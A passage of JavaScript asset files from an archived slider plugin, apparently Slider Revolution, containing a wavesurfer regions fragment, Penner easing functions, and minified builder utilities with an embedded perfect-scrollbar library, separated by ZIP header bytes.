g=function(e){e.touches&&e.touches.length>1||(o=!1,v=0,f=null,h&&(t.util.preventClick(),h.fireEvent("update-end",e),t.wavesurfer.fireEvent("region-update-end",h,e)),h=null)};this.wrapper.addEventListener("mouseup",g),this.wrapper.addEventListener("touchend",g),document.body.addEventListener("mouseup",g),document.body.addEventListener("touchend",g),this.on("disable-drag-selection",function(){document.body.removeEventListener("mouseup",g),document.body.removeEventListener("touchend",g),t.wrapper.removeEventListener("touchend",g),t.wrapper.removeEventListener("mouseup",g)});var w=function(m){if(o&&!(++v<=r||m.touches&&m.touches.length>1||m.targetTouches&&m.targetTouches[0].identifier!=c)){h||(h=t.add(e||{}));var g=t.wavesurfer.drawer.handleEvent(m);if(h.update({start:Math.min(g*u,d*u),end:Math.max(g*u,d*u)}),i&&n.clientWidth<t.wrapper.scrollWidth){var w=m.clientX-p.left;(f=w<=a?-1:w>=p.right-a?1:null)&&function e(r){if(h&&f){var n=t.wrapper.scrollLeft+s*f;t.wrapper.scrollLeft=n=Math.min(l,Math.max(0,n));var i=t.wavesurfer.drawer.handleEvent(r);h.update({start:Math.min(i*u,d*u),end:Math.max(i*u,d*u)}),n<l&&n>0&&window.requestAnimationFrame(function(){e(r)})}}(m)}}};this.wrapper.addEventListener("mousemove",w),this.wrapper.addEventListener("touchmove",w),this.on("disable-drag-selection",function(){t.wrapper.removeEventListener("touchmove",w),t.wrapper.removeEventListener("mousemove",w)})}},{key:"disableDragSelection",value:function(){this.fireEvent("disable-drag-selection")}},{key:"getCurrentRegion",value:function(){var e=this,t=this.wavesurfer.getCurrentTime(),r=null;return Object.keys(this.list).forEach(function(n){var i=e.list[n];i.start<=t&&i.end>=t&&(!r||i.end-i.start<r.end-r.start)&&(r=i)}),r}}]),e}();t.default=a,e.exports=t.default}})});

PK�y3\�	�B��"assets/js/plugins/penner-easing.jsnu�[���var PennerEasing = {
		
	linear: {
		
		easenone: function(t, b, c, d) {
	
			return c * t / d + b;
			
		},

		easein: function(t, b, c, d) {
			
			return c * t / d + b;
			
		},
		
		easeout: function(t, b, c, d) {
			
			return c * t / d + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			return c * t / d + b;
			
		}
	
	},
	
	quint: {
		
		easeout: function (t, b, c, d) {
			
			return c * ((t = t / d - 1) * t * t * t * t + 1) + b;
			
		},
		
		easein: function(t, b, c, d) {
			
			return c * (t /= d) * t * t * t * t + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			return ((t /= d / 2) < 1) ? c / 2 * t * t * t * t * t + b : c / 2 * ((t -= 2) * t * t * t * t + 2) + b;
			
		}
		
	},
		
	quad: {
		
		easein: function (t, b, c, d) {
		
			return c * (t /= d) * t + b;
		
		},
		
		easeout: function (t, b, c, d) {
			
			return -c * (t /= d) * (t - 2) + b;
		
		},
		
		easeinout: function (t, b, c, d) {
			
			return ((t /= d / 2) < 1) ? c / 2 * t * t + b : -c / 2 * ((--t) * (t - 2) - 1) + b;
		
		}	
		
	},
	
	quart: {
	
		easein: function(t, b, c, d) {
			
			return c * (t /= d) * t * t * t + b;
			
		},
		
		easeout: function(t, b, c, d) {
			
			return -c * ((t = t / d - 1) * t * t * t - 1) + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			return ((t /= d / 2) < 1) ? c / 2 * t * t * t * t + b : -c / 2 * ((t -= 2) * t * t * t - 2) + b;
			
		}
		
	},
	
	cubic: {
	
		easein: function(t, b, c, d) {
			
			return c * (t /= d) * t * t + b;
			
		},
		
		easeout: function(t, b, c, d) {
			
			return c * ((t = t / d - 1) * t * t + 1) + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			return ((t /= d / 2) < 1) ? c / 2 * t * t * t + b : c / 2 * ((t -= 2) * t * t + 2) + b;
			
		}
		
	},
	
	circ: {
	
		easein: function(t, b, c, d) {
			
			return -c * (Math.sqrt(1 - (t /= d) * t) - 1) + b;
			
		},
		
		easeout: function(t, b, c, d) {
			
			return c * Math.sqrt(1 - (t = t / d - 1) * t) + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			return ((t /= d / 2) < 1) ? -c / 2 * (Math.sqrt(1 - t * t) - 1) + b : c / 2 * (Math.sqrt(1 - (t -= 2) * t) + 1) + b;
			
		}
		
	},
	
	sine: {
	
		easein: function(t, b, c, d) {
			
			return -c * Math.cos(t / d * (Math.PI / 2)) + c + b;
			
		},
		
		easeout: function(t, b, c, d) {
			
			return c * Math.sin(t / d * (Math.PI / 2)) + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			return -c / 2 * (Math.cos(Math.PI * t / d) - 1) + b;
			
		}
		
	},
	
	expo: {
	
		easein: function(t, b, c, d) {
			
			return (t === 0) ? b : c * Math.pow(2, 10 * (t / d - 1)) + b;
		
		},
		
		easeout: function(t, b, c, d) {
			
			return (t === d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b;
			
		},
		
		easeinout: function(t, b, c, d) {
			
			if(t === 0) return b;
			if(t === d) return b + c;
			if((t /= d / 2) < 1) return c / 2 * Math.pow(2, 10 * (t - 1)) + b;
			
			return c / 2 * (-Math.pow(2, -10 * --t) + 2) + b;
			
		}
		
	}
	
};PK�y3\���

assets/js/plugins/utils.min.jsnu�[���/*!
 * REVOLUTION 6.0.0 UTILS - BUILDER BASIC JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,RVS.F.closest=function(e,t){return e&&(t(e)?e:RVS.F.closest(e.parentNode,t))},RVS.F.closestNode=function(e,t){return RVS.F.closest(e,function(e){return e.nodeName===t})},RVS.F.closestClass=function(e,t){return RVS.F.closest(e,function(e){return(" "+e.className+" ").indexOf(" "+t+" ")>=0})},RVS.F.isNumeric=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},RVS.F.trim=function(e){return null!=e&&"string"==typeof e?e.trim():e},RVS.S.setShowHide=[],RVS.S.setUnsetClasses={},RVS.S.initOnOffList={},jQuery.fn.RSScroll||(jQuery.fn.RSScroll=function(e,t){if(!e||"string"!=typeof e)return this.each(function(t){var i=jQuery(this);i.data("revsliderps")||i.data("revsliderps",new RSPerfectScrollbar(this,e||{}))});switch(e){case"update":return this.each(function(){var e=jQuery(this).data("revsliderps");e&&e.update()});case"scrollTop":return this.each(function(){this.scrollTop=t});case"destroy":return this.each(function(){var e=jQuery(this),t=e.data("revsliderps");t&&(t.destroy(),e.removeData("revsliderps"))})}}),RVS.F.cF=function(){return document.createDocumentFragment()},RVS.F.cI=function(e){let t=document.createElement("i");if(t.className="material-icons"+(void 0!==e.cN?" "+e.cN:""),t.textContent=e.c,e.id&&(t.id=e.id),e.ds)for(let i in e.ds)e.ds.hasOwnProperty(i)&&(t.dataset[i]=e.ds[i]);return t},RVS.F.cE=function(e){let t=document.createElement(e.t||"div");if(void 0!==e.con&&(t.textContent=e.con),e.id&&(t.id=e.id),e.cN&&(t.className=e.cN),e.ds)for(let i in e.ds)e.ds.hasOwnProperty(i)&&(t.dataset[i]=e.ds[i]);return e.icon&&(void 0!==e.con?t.insertBefore(RVS.F.cI(e.icon),t.firstChild):t.appendChild(RVS.F.cI(e.icon))),e.type&&(t.type=e.type),t}
/*!
 * perfect-scrollbar v1.4.0
 * (c) 2018 Hyunje Jun
 * @license MIT
 * 
*/,function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.RSPerfectScrollbar=t()}(this,function(){"use strict";function e(e){return getComputedStyle(e)}function t(e,t){for(var i in t){var a=t[i];"number"==typeof a&&(a+="px"),e.style[i]=a}return e}function i(e){var t=document.createElement("div");return t.className=e,t}function a(e,t){if(!m)throw new Error("No element matching method supported");return m.call(e,t)}function r(e){e.remove?e.remove():e.parentNode&&e.parentNode.removeChild(e)}function o(e,t){return Array.prototype.filter.call(e.children,function(e){return a(e,t)})}function s(e,t){var i=e.element.classList,a=h.state.scrolling(t);i.contains(a)?clearTimeout(S[t]):i.add(a)}function l(e,t){S[t]=setTimeout(function(){return e.isAlive&&e.element.classList.remove(h.state.scrolling(t))},e.settings.scrollingThreshold)}function n(e,t){s(e,t),l(e,t)}function d(e){if("function"==typeof window.CustomEvent)return new CustomEvent(e);var t=document.createEvent("CustomEvent");return t.initCustomEvent(e,!1,!1,void 0),t}function c(e){return parseInt(e,10)||0}function p(e){return a(e,"input,[contenteditable]")||a(e,"select,[contenteditable]")||a(e,"textarea,[contenteditable]")||a(e,"button,[contenteditable]")}function u(e,t){return e.settings.minScrollbarLength&&(t=Math.max(t,e.settings.minScrollbarLength)),e.settings.maxScrollbarLength&&(t=Math.min(t,e.settings.maxScrollbarLength)),t}function v(e,i){var a={width:i.railXWidth},r=Math.floor(e.scrollTop);i.isRtl?a.left=i.negativeScrollAdjustment+e.scrollLeft+i.containerWidth-i.contentWidth:a.left=e.scrollLeft,i.isScrollbarXUsingBottom?a.bottom=i.scrollbarXBottom-r:a.top=i.scrollbarXTop+r,t(i.scrollbarXRail,a);var o={top:r,height:i.railYHeight};i.isScrollbarYUsingRight?i.isRtl?o.right=i.contentWidth-(i.negativeScrollAdjustment+e.scrollLeft)-i.scrollbarYRight-i.scrollbarYOuterWidth:o.right=i.scrollbarYRight-e.scrollLeft:i.isRtl?o.left=i.negativeScrollAdjustment+e.scrollLeft+2*i.containerWidth-i.contentWidth-i.scrollbarYLeft-i.scrollbarYOuterWidth:o.left=i.scrollbarYLeft+e.scrollLeft,t(i.scrollbarYRail,o),t(i.scrollbarX,{left:i.scrollbarXLeft,width:i.scrollbarXWidth-i.railBorderXWidth}),t(i.scrollbarY,{top:i.scrollbarYTop,height:i.scrollbarYHeight-i.railBorderYWidth})}function g(e,t){function i(t){m[u]=S+b*(t[n]-f),s(e,v),V(e),t.stopPropagation(),t.preventDefault()}function a(){l(e,v),e[g].classList.remove(h.state.clicking),e.event.unbind(e.ownerDocument,"mousemove",i)}var r=t[0],o=t[1],n=t[2],d=t[3],c=t[4],p=t[5],u=t[6],v=t[7],g=t[8],m=e.element,S=null,f=null,b=null;e.event.bind(e[c],"mousedown",function(t){S=m[u],f=t[n],b=(e[o]-e[r])/(e[d]-e[p]),e.event.bind(e.ownerDocument,"mousemove",i),e.event.once(e.ownerDocument,"mouseup",a),e[g].classList.add(h.state.clicking),t.stopPropagation(),t.preventDefault()})}var m="undefined"!=typeof Element&&(Element.prototype.matches||Element.prototype.webkitMatchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector),h={main:"ps",element:{thumb:function(e){return"rs__scrollbar-"+e},rail:function(e){return"rs__scrollbar-"+e+"-rail"},consuming:"ps__child--consume"},state:{focus:"ps--focus",clicking:"ps--clicking",active:function(e){return"ps--active-"+e},scrolling:function(e){return"ps--scrolling-"+e}}},S={x:null,y:null},f=function(e){this.element=e,this.handlers={}},b={isEmpty:{configurable:!0}};f.prototype.bind=function(e,t){void 0===this.handlers[e]&&(this.handlers[e]=[]),this.handlers[e].push(t),this.element.addEventListener(e,t,!1)},f.prototype.unbind=function(e,t){var i=this;this.handlers[e]=this.handlers[e].filter(function(a){return!(!t||a===t)||(i.element.removeEventListener(e,a,!1),!1)})},f.prototype.unbindAll=function(){for(var e in this.handlers)this.unbind(e)},b.isEmpty.get=function(){var e=this;return Object.keys(this.handlers).every(function(t){return 0===e.handlers[t].length})},Object.defineProperties(f.prototype,b);var y=function(){this.eventElements=[]};y.prototype.eventElement=function(e){var t=this.eventElements.filter(function(t){return t.element===e})[0];return t||(t=new f(e),this.eventElements.push(t)),t},y.prototype.bind=function(e,t,i){this.eventElement(e).bind(t,i)},y.prototype.unbind=function(e,t,i){var a=this.eventElement(e);a.unbind(t,i),a.isEmpty&&this.eventElements.splice(this.eventElements.indexOf(a),1)},y.prototype.unbindAll=function(){this.eventElements.forEach(function(e){return e.unbindAll()}),this.eventElements=[]},y.prototype.once=function(e,t,i){var a=this.eventElement(e),r=function(e){a.unbind(t,r),i(e)};a.bind(t,r)};var R=function(e,t,i,a,r){var o;if(void 0===a&&(a=!0),void 0===r&&(r=!1),"top"===t)o=["contentHeight","containerHeight","scrollTop","y","up","down"];else{if("left"!==t)throw new Error("A proper axis should be provided");o=["contentWidth","containerWidth","scrollLeft","x","left","right"]}!function(e,t,i,a,r){var o=i[0],s=i[1],l=i[2],c=i[3],p=i[4],u=i[5];void 0===a&&(a=!0),void 0===r&&(r=!1);var v=e.element;e.reach[c]=null,v[l]<1&&(e.reach[c]="start"),v[l]>e[o]-e[s]-1&&(e.reach[c]="end"),t&&(v.dispatchEvent(d("ps-scroll-"+c)),t<0?v.dispatchEvent(d("ps-scroll-"+p)):t>0&&v.dispatchEvent(d("ps-scroll-"+u)),a&&n(e,c)),e.reach[c]&&(t||r)&&v.dispatchEvent(d("ps-"+c+"-reach-"+e.reach[c]))}(e,i,o,a,r)},_={isWebKit:"undefined"!=typeof document&&"WebkitAppearance"in document.documentElement.style,supportsTouch:"undefined"!=typeof window&&("ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch),supportsIePointer:"undefined"!=typeof navigator&&navigator.msMaxTouchPoints,isChrome:"undefined"!=typeof navigator&&/Chrome/i.test(navigator&&navigator.userAgent)},V=function(e){var t=e.element,i=Math.floor(t.scrollTop);e.containerWidth=t.clientWidth,e.containerHeight=t.clientHeight,e.contentWidth=t.scrollWidth,e.contentHeight=t.scrollHeight,t.contains(e.scrollbarXRail)||(o(t,h.element.rail("x")).forEach(function(e){return r(e)}),t.appendChild(e.scrollbarXRail)),t.contains(e.scrollbarYRail)||(o(t,h.element.rail("y")).forEach(function(e){return r(e)}),t.appendChild(e.scrollbarYRail)),!e.settings.suppressScrollX&&e.containerWidth+e.settings.scrollXMarginOffset<e.contentWidth?(e.scrollbarXActive=!0,e.railXWidth=e.containerWidth-e.railXMarginWidth,e.railXRatio=e.containerWidth/e.railXWidth,e.scrollbarXWidth=u(e,c(e.railXWidth*e.containerWidth/e.contentWidth)),e.scrollbarXLeft=c((e.negativeScrollAdjustment+t.scrollLeft)*(e.railXWidth-e.scrollbarXWidth)/(e.contentWidth-e.containerWidth))):e.scrollbarXActive=!1,!e.settings.suppressScrollY&&e.containerHeight+e.settings.scrollYMarginOffset<e.contentHeight?(e.scrollbarYActive=!0,e.railYHeight=e.containerHeight-e.railYMarginHeight,e.railYRatio=e.containerHeight/e.railYHeight,e.scrollbarYHeight=u(e,c(e.railYHeight*e.containerHeight/e.contentHeight)),e.scrollbarYTop=c(i*(e.railYHeight-e.scrollbarYHeight)/(e.contentHeight-e.containerHeight))):e.scrollbarYActive=!1,e.scrollbarXLeft>=e.railXWidth-e.scrollbarXWidth&&(e.scrollbarXLeft=e.railXWidth-e.scrollbarXWidth),e.scrollbarYTop>=e.railYHeight-e.scrollbarYHeight&&(e.scrollbarYTop=e.railYHeight-e.scrollbarYHeight),v(t,e),e.scrollbarXActive?t.classList.add(h.state.active("x")):(t.classList.remove(h.state.active("x")),e.scrollbarXWidth=0,e.scrollbarXLeft=0,t.scrollLeft=0),e.scrollbarYActive?t.classList.add(h.state.active("y")):(t.classList.remove(h.state.active("y")),e.scrollbarYHeight=0,e.scrollbarYTop=0,t.scrollTop=0)},O={"click-rail":function(e){e.event.bind(e.scrollbarY,"mousedown",function(e){return e.stopPropagation()}),e.event.bind(e.scrollbarYRail,"mousedown",function(t){var i=t.pageY-window.pageYOffset-e.scrollbarYRail.getBoundingClientRect().top>e.scrollbarYTop?1:-1;e.element.scrollTop+=i*e.containerHeight,V(e),t.stopPropagation()}),e.event.bind(e.scrollbarX,"mousedown",function(e){return e.stopPropagation()}),e.event.bind(e.scrollbarXRail,"mousedown",function(t){var i=t.pageX-window.pageXOffset-e.scrollbarXRail.getBoundingClientRect().left>e.scrollbarXLeft?1:-1;e.element.scrollLeft+=i*e.containerWidth,V(e),t.stopPropagation()})},"drag-thumb":function(e){g(e,["containerWidth","contentWidth","pageX","railXWidth","scrollbarX","scrollbarXWidth","scrollLeft","x","scrollbarXRail"]),g(e,["containerHeight","contentHeight","pageY","railYHeight","scrollbarY","scrollbarYHeight","scrollTop","y","scrollbarYRail"])},keyboard:function(e){var t=e.element,i=function(){return a(t,":hover")},r=function(){return a(e.scrollbarX,":focus")||a(e.scrollbarY,":focus")};e.event.bind(e.ownerDocument,"keydown",function(a){if(!(a.isDefaultPrevented&&a.isDefaultPrevented()||a.defaultPrevented)&&(i()||r())){var o=document.activeElement?document.activeElement:e.ownerDocument.activeElement;if(o){if("IFRAME"===o.tagName)o=o.contentDocument.activeElement;else for(;o.shadowRoot;)o=o.shadowRoot.activeElement;if(p(o))return}var s=0,l=0;switch(a.which){case 37:s=a.metaKey?-e.contentWidth:a.altKey?-e.containerWidth:-30;break;case 38:l=a.metaKey?e.contentHeight:a.altKey?e.containerHeight:30;break;case 39:s=a.metaKey?e.contentWidth:a.altKey?e.containerWidth:30;break;case 40:l=a.metaKey?-e.contentHeight:a.altKey?-e.containerHeight:-30;break;case 32:l=a.shiftKey?e.containerHeight:-e.containerHeight;break;case 33:l=e.containerHeight;break;case 34:l=-e.containerHeight;break;case 36:l=e.contentHeight;break;case 35:l=-e.contentHeight;break;default:return}e.settings.suppressScrollX&&0!==s||e.settings.suppressScrollY&&0!==l||(t.scrollTop-=l,t.scrollLeft+=s,V(e),function(i,a){var r=Math.floor(t.scrollTop);if(0===i){if(!e.scrollbarYActive)return!1;if(0===r&&a>0||r>=e.contentHeight-e.containerHeight&&a<0)return!e.settings.wheelPropagation}var o=t.scrollLeft;if(0===a){if(!e.scrollbarXActive)return!1;if(0===o&&i<0||o>=e.contentWidth-e.containerWidth&&i>0)return!e.settings.wheelPropagation}return!0}(s,l)&&a.preventDefault())}})},wheel:function(t){function i(t,i,a){if(!_.isWebKit&&r.querySelector("select:focus"))return!0;if(!r.contains(t))return!1;for(var o=t;o&&o!==r;){if(o.classList.contains(h.element.consuming))return!0;var s=e(o);if([s.overflow,s.overflowX,s.overflowY].join("").match(/(scroll|auto)/)){var l=o.scrollHeight-o.clientHeight;if(l>0&&!(0===o.scrollTop&&a>0||o.scrollTop===l&&a<0))return!0;var n=o.scrollWidth-o.clientWidth;if(n>0&&!(0===o.scrollLeft&&i<0||o.scrollLeft===n&&i>0))return!0}o=o.parentNode}return!1}function a(e){var a=function(e){var t=e.deltaX,i=-1*e.deltaY;return void 0!==t&&void 0!==i||(t=-1*e.wheelDeltaX/6,i=e.wheelDeltaY/6),e.deltaMode&&1===e.deltaMode&&(t*=10,i*=10),t!=t&&i!=i&&(t=0,i=e.wheelDelta),e.shiftKey?[-i,-t]:[t,i]}(e),o=a[0],s=a[1];if(!i(e.target,o,s)){var l=!1;t.settings.useBothWheelAxes?t.scrollbarYActive&&!t.scrollbarXActive?(s?r.scrollTop-=s*t.settings.wheelSpeed:r.scrollTop+=o*t.settings.wheelSpeed,l=!0):t.scrollbarXActive&&!t.scrollbarYActive&&(o?r.scrollLeft+=o*t.settings.wheelSpeed:r.scrollLeft-=s*t.settings.wheelSpeed,l=!0):(r.scrollTop-=s*t.settings.wheelSpeed,r.scrollLeft+=o*t.settings.wheelSpeed),V(t),(l=l||function(e,i){var a=Math.floor(r.scrollTop),o=0===r.scrollTop,s=a+r.offsetHeight===r.scrollHeight,l=0===r.scrollLeft,n=r.scrollLeft+r.offsetWidth===r.scrollWidth;return!(Math.abs(i)>Math.abs(e)?o||s:l||n)||!t.settings.wheelPropagation}(o,s))&&!e.ctrlKey&&(e.stopPropagation(),e.preventDefault())}}var r=t.element;void 0!==window.onwheel?t.event.bind(r,"wheel",a):void 0!==window.onmousewheel&&t.event.bind(r,"mousewheel",a)},touch:function(t){function i(e,i){var a=Math.floor(c.scrollTop),r=c.scrollLeft,o=Math.abs(e),s=Math.abs(i);if(s>o){if(i<0&&a===t.contentHeight-t.containerHeight||i>0&&0===a)return 0===window.scrollY&&i>0&&_.isChrome}else if(o>s&&(e<0&&r===t.contentWidth-t.containerWidth||e>0&&0===r))return!0;return!0}function a(e,i){c.scrollTop-=i,c.scrollLeft-=e,V(t)}function r(e){return e.targetTouches?e.targetTouches[0]:e}function o(e){return!(e.pointerType&&"pen"===e.pointerType&&0===e.buttons||(!e.targetTouches||1!==e.targetTouches.length)&&(!e.pointerType||"mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))}function s(e){if(o(e)){var t=r(e);p.pageX=t.pageX,p.pageY=t.pageY,u=(new Date).getTime(),null!==g&&clearInterval(g)}}function l(t,i,a){if(!c.contains(t))return!1;for(var r=t;r&&r!==c;){if(r.classList.contains(h.element.consuming))return!0;var o=e(r);if([o.overflow,o.overflowX,o.overflowY].join("").match(/(scroll|auto)/)){var s=r.scrollHeight-r.clientHeight;if(s>0&&!(0===r.scrollTop&&a>0||r.scrollTop===s&&a<0))return!0;var l=r.scrollLeft-r.clientWidth;if(l>0&&!(0===r.scrollLeft&&i<0||r.scrollLeft===l&&i>0))return!0}r=r.parentNode}return!1}function n(e){if(o(e)){var t=r(e),s={pageX:t.pageX,pageY:t.pageY},n=s.pageX-p.pageX,d=s.pageY-p.pageY;if(l(e.target,n,d))return;a(n,d),p=s;var c=(new Date).getTime(),g=c-u;g>0&&(v.x=n/g,v.y=d/g,u=c),i(n,d)&&e.preventDefault()}}function d(){t.settings.swipeEasing&&(clearInterval(g),g=setInterval(function(){t.isInitialized?clearInterval(g):v.x||v.y?Math.abs(v.x)<.01&&Math.abs(v.y)<.01?clearInterval(g):(a(30*v.x,30*v.y),v.x*=.8,v.y*=.8):clearInterval(g)},10))}if(_.supportsTouch||_.supportsIePointer){var c=t.element,p={},u=0,v={},g=null;_.supportsTouch?(t.event.bind(c,"touchstart",s),t.event.bind(c,"touchmove",n),t.event.bind(c,"touchend",d)):_.supportsIePointer&&(window.PointerEvent?(t.event.bind(c,"pointerdown",s),t.event.bind(c,"pointermove",n),t.event.bind(c,"pointerup",d)):window.MSPointerEvent&&(t.event.bind(c,"MSPointerDown",s),t.event.bind(c,"MSPointerMove",n),t.event.bind(c,"MSPointerUp",d)))}}},B=function(a,r){var o=this;if(void 0===r&&(r={}),"string"==typeof a&&(a=document.querySelector(a)),!a||!a.nodeName)throw new Error("no element is specified to initialize RSPerfectScrollbar");for(var s in this.element=a,a.classList.add(h.main),this.settings={handlers:["click-rail","drag-thumb","keyboard","wheel","touch"],maxScrollbarLength:null,minScrollbarLength:null,scrollingThreshold:1e3,scrollXMarginOffset:0,scrollYMarginOffset:0,suppressScrollX:!1,suppressScrollY:!1,swipeEasing:!0,useBothWheelAxes:!1,wheelPropagation:!0,wheelSpeed:1},r)o.settings[s]=r[s];this.containerWidth=null,this.containerHeight=null,this.contentWidth=null,this.contentHeight=null;var l=function(){return a.classList.add(h.state.focus)},n=function(){return a.classList.remove(h.state.focus)};this.isRtl="rtl"===e(a).direction,this.isNegativeScroll=function(){var e,t=a.scrollLeft;return a.scrollLeft=-1,e=a.scrollLeft<0,a.scrollLeft=t,e}(),this.negativeScrollAdjustment=this.isNegativeScroll?a.scrollWidth-a.clientWidth:0,this.event=new y,this.ownerDocument=a.ownerDocument||document,this.scrollbarXRail=i(h.element.rail("x")),a.appendChild(this.scrollbarXRail),this.scrollbarX=i(h.element.thumb("x")),this.scrollbarXRail.appendChild(this.scrollbarX),this.scrollbarX.setAttribute("tabindex",0),this.event.bind(this.scrollbarX,"focus",l),this.event.bind(this.scrollbarX,"blur",n),this.scrollbarXActive=null,this.scrollbarXWidth=null,this.scrollbarXLeft=null;var d=e(this.scrollbarXRail);this.scrollbarXBottom=parseInt(d.bottom,10),isNaN(this.scrollbarXBottom)?(this.isScrollbarXUsingBottom=!1,this.scrollbarXTop=c(d.top)):this.isScrollbarXUsingBottom=!0,this.railBorderXWidth=c(d.borderLeftWidth)+c(d.borderRightWidth),t(this.scrollbarXRail,{display:"block"}),this.railXMarginWidth=c(d.marginLeft)+c(d.marginRight),t(this.scrollbarXRail,{display:""}),this.railXWidth=null,this.railXRatio=null,this.scrollbarYRail=i(h.element.rail("y")),a.appendChild(this.scrollbarYRail),this.scrollbarY=i(h.element.thumb("y")),this.scrollbarYRail.appendChild(this.scrollbarY),this.scrollbarY.setAttribute("tabindex",0),this.event.bind(this.scrollbarY,"focus",l),this.event.bind(this.scrollbarY,"blur",n),this.scrollbarYActive=null,this.scrollbarYHeight=null,this.scrollbarYTop=null;var p=e(this.scrollbarYRail);this.scrollbarYRight=parseInt(p.right,10),isNaN(this.scrollbarYRight)?(this.isScrollbarYUsingRight=!1,this.scrollbarYLeft=c(p.left)):this.isScrollbarYUsingRight=!0,this.scrollbarYOuterWidth=this.isRtl?function(t){var i=e(t);return c(i.width)+c(i.paddingLeft)+c(i.paddingRight)+c(i.borderLeftWidth)+c(i.borderRightWidth)}(this.scrollbarY):null,this.railBorderYWidth=c(p.borderTopWidth)+c(p.borderBottomWidth),t(this.scrollbarYRail,{display:"block"}),this.railYMarginHeight=c(p.marginTop)+c(p.marginBottom),t(this.scrollbarYRail,{display:""}),this.railYHeight=null,this.railYRatio=null,this.reach={x:a.scrollLeft<=0?"start":a.scrollLeft>=this.contentWidth-this.containerWidth?"end":null,y:a.scrollTop<=0?"start":a.scrollTop>=this.contentHeight-this.containerHeight?"end":null},this.isAlive=!0,this.settings.handlers.forEach(function(e){return O[e](o)}),this.lastScrollTop=Math.floor(a.scrollTop),this.lastScrollLeft=a.scrollLeft,this.event.bind(this.element,"scroll",function(e){return o.onScroll(e)}),V(this)};return B.prototype.update=function(){this.isAlive&&(this.negativeScrollAdjustment=this.isNegativeScroll?this.element.scrollWidth-this.element.clientWidth:0,t(this.scrollbarXRail,{display:"block"}),t(this.scrollbarYRail,{display:"block"}),this.railXMarginWidth=c(e(this.scrollbarXRail).marginLeft)+c(e(this.scrollbarXRail).marginRight),this.railYMarginHeight=c(e(this.scrollbarYRail).marginTop)+c(e(this.scrollbarYRail).marginBottom),t(this.scrollbarXRail,{display:"none"}),t(this.scrollbarYRail,{display:"none"}),V(this),R(this,"top",0,!1,!0),R(this,"left",0,!1,!0),t(this.scrollbarXRail,{display:""}),t(this.scrollbarYRail,{display:""}))},B.prototype.onScroll=function(e){this.isAlive&&(V(this),R(this,"top",this.element.scrollTop-this.lastScrollTop),R(this,"left",this.element.scrollLeft-this.lastScrollLeft),this.lastScrollTop=Math.floor(this.element.scrollTop),this.lastScrollLeft=this.element.scrollLeft)},B.prototype.destroy=function(){this.isAlive&&(this.event.unbindAll(),r(this.scrollbarX),r(this.scrollbarY),r(this.scrollbarXRail),r(this.scrollbarYRail),this.removePsClasses(),this.element=null,this.scrollbarX=null,this.scrollbarY=null,this.scrollbarXRail=null,this.scrollbarYRail=null,this.isAlive=!1)},B.prototype.removePsClasses=function(){this.element.className=this.element.className.split(" ").filter(function(e){return!e.match(/^ps([-_].+|)$/)}).join(" ")},B}),function(){var e,t=null,i=null,a=null,r=null;RVS.DOC.on("click","#rs_copyright",function(){RVS.F.RSDialog.create({modalid:"#rbm_copyright",bgopacity:.25})}),RVS.DOC.on("click","#rbm_copyright .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".copyright_sel",function(){jQuery(".copyright_sel").removeClass("selected"),jQuery(".crm_content_wrap").removeClass("selected"),this.className+=" selected",document.getElementById("crm_"+this.dataset.crm).className+=" selected"}),RVS.F.CO=function(e,t){var i=document.createElement("option");return i.value=e,i.innerText=t,i},RVS.F.capitalise=function(e){return e.substr(0,1).toUpperCase()+e.substr(1)},RVS.F.capitaliseAll=function(e){var t=e.split(" ");for(var i in t)t[i]=t[i].substr(0,1).toUpperCase()+t[i].substr(1);return t.join(" ")},RVS.F.debug=function(e){console.log(e)},RVS.F.compareVersion=function(e,t){if("string"!=typeof e)return!1;if("string"!=typeof t)return!1;e=e.split("."),t=t.split(".");const i=Math.min(e.length,t.length);for(let a=0;a<i;++a){if(e[a]=parseInt(e[a],10),t[a]=parseInt(t[a],10),e[a]>t[a])return 1;if(e[a]<t[a])return-1}return e.length==t.length?0:e.length<t.length?-1:1},RVS.DOC.on("click","#rbmas_activateplugin",function(){var e=jQuery("#rbmas_purchasekey").val();RVS.F.ajaxRequest("activate_plugin",{code:e},function(t){t.success&&(RVS.ENV.activated=!0,RVS.ENV.code=e,jQuery(".rbmas_close").trigger("click"),RVS.DOC.trigger("registrationdone"),void 0!==RVS&&void 0!==RVS.F&&(void 0!==RVS.F.updateDraw&&RVS.F.updateDraw(),void 0!==RVS.F.isActivated&&RVS.F.isActivated(),void 0!==RVS.F.notifications&&RVS.S.ovMode&&RVS.F.notifications(),jQuery(".rs_lib_premium_wrap .rs_lib_premium_red").each(function(){this.className="rs_lib_premium_lila",this.innerHTML=RVS_LANG.premium_template}),jQuery("#rs_premium .rs_lib_premium_red").each(function(){this.className="rs_lib_premium_lila",this.innerHTML=RVS_LANG.premium_template})))})}),RVS.F.openAddImageDialog=function(e,t,i){e||(e=RVS_LANG.select_image),"undefined"!=typeof wp&&void 0!==wp.media?p(e,t,i):u(e,t)},RVS.F.openAddVideoDialog=function(e,t,i){e||(e=RVS_LANG.select_image),"undefined"!=typeof wp&&void 